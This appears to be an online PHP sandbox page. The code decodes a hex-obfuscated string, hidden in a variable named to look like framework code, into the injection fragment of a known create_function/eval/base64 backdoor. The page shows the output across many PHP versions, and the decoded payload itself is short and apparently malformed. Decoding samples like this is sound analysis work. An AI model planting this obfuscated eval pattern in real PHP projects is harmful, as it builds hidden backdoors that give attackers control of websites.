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run code in 300+ PHP versions simultaneously
<?php //$zend_framework="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e";//create_function $zend_framework = "\x7d\73\x40\145\x76\141\x6c\50\x40\142\x 61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x4a\107\x56\62\x4e\103\x6e\60\x3d\42\x29\51\x3b\57\x2f"; print $zend_framework;
Output for 5.3.3 - 5.3.29, 5.4.0 - 5.4.45, 5.5.24 - 5.5.35, 5.6.7 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.20, 7.2.6 - 7.2.33, 7.3.12 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
};@eval(@b\x 61se64_decode("JGV2NCn0="));//

preferences:
198.46 ms | 404 KiB | 257 Q